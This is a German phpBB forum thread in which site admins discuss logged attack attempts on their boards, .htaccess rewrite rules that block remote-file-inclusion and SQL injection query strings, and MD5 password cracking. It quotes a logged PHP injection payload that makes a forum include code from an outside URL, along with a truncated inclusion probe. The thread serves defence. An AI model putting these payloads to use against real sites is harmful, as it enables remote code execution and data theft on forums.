Das lässt mich gerade überlegen, was man sonst noch mit solchen Leuten anstellen kann.miccom hat geschrieben:Fürs verkaufen der Daten, gehört er aber geteert und gefedert - nicht aber fürs hacken selbst.
Das sieht mir eher nach einer anderen schon etwas älteren Lücke aus die da versucht wird auszunutzen. Siehe -> http://www.phpbb2.de/ftopic45218.htmldjchrisnet hat geschrieben:Mir gehts genauso. 22 Angriffe geloggt seit vorgestern...
Allerdings schon zum scheitern verurteilt, da ein // am Anfang keinen Sinn ergibt -.-//language/lang_german/lang_main_album.php?phpbb_root_path=http://p
immer in den root, ABER wenn du htaccess in unterverzeichnissen einsetzt, dann gilt die aus dem root nicht mehr. es gilt immer die im verzeichnis. daher sollte man wenn nur htaccess einsetzen, die komplette verzeichnisse sperren oder passwortschutz enthalten. der rest sollte in den root. (das gilt auch für seo mods etc.)hoheidt hat geschrieben:Muss der Eintrag nur in die .htaccess im root oder muss so eine .htaccess in jedes Verzeichnis?[BTK] Tobi hat geschrieben:Ein Schutz der aber recht gut gegen die meisten Angriffsversuche hilft und unschöne Einträge im Log vermeidet währe wie weiter oben schon gepostet ein Eintrag in der .htaccess, vorausgesetzt der Server unterstützt mod_rewriteDas verhindert das Sachen wie domain.tld?mode=http://crackerseite.tld/böses-script.txt aufgerufen und so durch eine Sicherheitslücke ausgeführt werden können. Alle solchen versuche werden einfach zu dem Rechner der versucht hat das aufzurufen zurück geleitet.Code: Alles auswählen
RewriteEngine On RewriteCond %{QUERY_STRING} (.*)=http://(.*) [OR] RewriteCond %{QUERY_STRING} (.*)=https://(.*) [OR] RewriteCond %{QUERY_STRING} (.*)=ftp://(.*) [OR] RewriteCond %{QUERY_STRING} ^(.*)UNION(.*) [OR] RewriteCond %{QUERY_STRING} ^(.*)SQL_INJECTION(.*) RewriteRule (.*) http://127.0.0.1 [L,R=301]
Nebenbei: Dieser Thread strotzt nur so vor "Ich will hier raus" und "selber Schuld" und irgendwelchen anderen unproduktiven Beiträgen, die keinem helfen. Das macht es sehr schwer, die Beiträge herauszufiltern, die wirklich nützlich sind.
daher sollte man auch seine language ordner per htaccess schützen. ein direkter zugriff auf diese verzeichnisse ist nicht nötig, daher kann das problemlos gemacht werden.//language/lang_german/lang_main_album.php?phpbb_root_path=http://p
Darauf will ich mal weiter eingehen. Ich habe eine Testinstallation über dieses Tool zugrunde gerichtet, in dem ich ein UPDATE Script habe laufen lassen, welches alle IDs per Zufall neu zuordnet. Und wenn es einer auf einen abgesehen hat, kann man diese Art von Angriff über mehrere Monate verteilt, also schleichend, durchführen. Da hilft dann auch kein Backup mehr.cback hat geschrieben:Ich würde übrigens empfehlen das phpBB DB Backup/Restore Feature aus dem ACP zu werfen. Bei großen Datenbanken arbeitet es ohnehin nicht zuverlässig und im Ernstfall kann man dann wenigstens übers ACP keinen DB Dump ziehen mit den ganzen Userdaten drin. - Man kann natürlich weiterhin schaden anrichten
Jupps bei mir fehlt auch das Album. Das sind meistens die automatisch laufende Scripte die meist über Suchmaschinen nach Foren suchen und dann einfach ihre Batterie an Schwachstellenproben laufen lassen, egal ob die Datei existiert oder nicht. Wenn keine "positive Rückmeldung" kommt probierts das Teil einfach weiter.hackepeter13 hat geschrieben:Ich habe zwar beide Mods (KB und Album) nicht installiert, aber ich stelle ebenfalls über CT fest, das man bei mir in den letzten Wochen versucht hat die Sprachdatei vom Album-Mod aufzurufen oder so.cback hat geschrieben:Ich stelle seit ein paar Tagen mittels CrackerTracker Log übrigens wieder verstärkte Angriffsversuche auf Knowledge Base Mod und Album Mod bei mir fest. Loginversuche gab es auch nach dem Login-Protection Log aber das wurde relativ schnell aufgegeben.
Nein ich meinte auch nicht das die Leute ein Backup machen, sondern das sie dieses Tool aus ihrem Forum entfernen (wie Du es auch vorschlägst in dem verlinkten Thread), dass im Falle eines Angriffes es eben nicht einfach möglich ist direkt aus dem ACP heraus die DB komplett zu ziehen.Darauf will ich mal weiter eingehen. Ich habe eine Testinstallation über dieses Tool zugrunde gerichtet, in dem ich ein UPDATE Script habe laufen lassen, welches alle IDs per Zufall neu zuordnet. Und wenn es einer auf einen abgesehen hat, kann man diese Art von Angriff über mehrere Monate verteilt, also schleichend, durchführen. Da hilft dann auch kein Backup mehr.
Code: Alles auswählen
name=PNphpBB2&file=viewtopic&t=8/viewtopic.php?p=15&sid=be4c914eb746ac7c96beea717fdfc692/
&highlight=%27.include($_GET[a]),exit.%27&a=http://www.bakhshian.ir/language/f.txt???bei 60.000 passwörtern lohnt sich brute-force und vergleich mit wörterbüchern^^mgutt hat geschrieben: Zum MD5-String (verschlüsseltes Passwort):
Der MD5-String selber kann bei Passwörtern bis 8 Stellen und wenn dieses Passwort nur kleine Buchstaben und Zahlen enthält innerhalb von ein paar Tagen gehackt werden. Aber der Aufwand rechtfertigt denke ich nicht den Erfolg. Was bringt es schon von einzelnen User das Passwort herauszufinden, außer dieses Passwort wird von dem User auch woanders eingesetzt.
Ich habe selbst mal ein Bruteforce-Script entwickelt, um eine MD5-Datenbank aufzubauen, daher kann ich mit gutem Gewissen sagen, dass bei Sonderzeichen und zusätzlich großen Buchstaben kein Hacker mehr Lust haben dürfte das zu entschlüsseln.
Bei deinem link versucht er über das $_GET['a'] was nachzuladen.
